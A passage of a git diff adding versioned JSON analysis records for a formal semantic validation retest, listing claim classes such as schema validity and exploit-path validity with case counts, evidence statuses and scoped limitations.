4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1338-execution-v41", + "generated_at": "2026-09-21", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "plain_language_outcome": "The retained controls replay with participant identity separated from organizational ownership and objective assignment. Historical evidence is preserved; the registered claim limits and unsupported classes are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v42.json b/docs/research/formal-semantic-validation/analysis-v42.json new file mode 100644 index 000000000..5dc77af02 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v42.json @@ -0,0 +1,153 @@ +{ + "analysis_id": "issue-218-analysis-v41", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v42.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-218-execution-v41", + "generated_at": "2026-09-20", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement. The replay also binds API-404 operational recovery code without claiming that this corpus executes crash recovery or live provider-effect classification. The replay binds CP-5 runtime ownership code without claiming that this corpus executes process contention, SQLite lifecycle ordering, or crash recovery. The replay binds issue #1015 mixed and staged trial-admission code without claiming that this corpus executes a mixed-backend realization. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the formal corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained formal corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained formal corpus as evidence of control-plane profile guarantees. This replay binds issue #1016 mixed-runtime coordination source without treating the retained formal corpus as mixed-runtime execution or backend-native interoperability evidence.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v43.json b/docs/research/formal-semantic-validation/analysis-v43.json new file mode 100644 index 000000000..9ac9a0507 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v43.json @@ -0,0 +1,153 @@ +{ + "analysis_id": "issue-218-analysis-v42", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v43.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-218-execution-v42", + "generated_at": "2026-09-20", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement. The replay also binds API-404 operational recovery code without claiming that this corpus executes crash recovery or live provider-effect classification. The replay binds CP-5 runtime ownership code without claiming that this corpus executes process contention, SQLite lifecycle ordering, or crash recovery. The replay binds issue #1015 mixed and staged trial-admission code without claiming that this corpus executes a mixed-backend realization. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the formal corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained formal corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained formal corpus as evidence of control-plane profile guarantees. This replay binds issue #1016 mixed-runtime coordination source without treating the retained formal corpus as mixed-runtime execution or backend-native interoperability evidence.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v44.json b/docs/research/formal-semantic-validation/analysis-v44.json new file mode 100644 index 000000000..0cd9bc86b --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v44.json @@ -0,0 +1,154 @@ +{ + "analysis_id": "issue-218-analysis-v44", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v44.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-218-execution-v44", + "generated_at": "2026-09-21", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "plain_language_outcome": "The retained controls replay with participant identity separated from organizational ownership and objective assignment. Historical evidence is preserved; the registered claim limits and unsupported classes are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v45.json b/docs/research/formal-semantic-validation/analysis-v45.json new file mode 100644 index 000000000..c574a244f --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v45.json @@ -0,0 +1,155 @@ +{ + "analysis_id": "issue-1357-analysis-v45", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v45.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1357-execution-v45", + "generated_at": "2026-09-24", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by 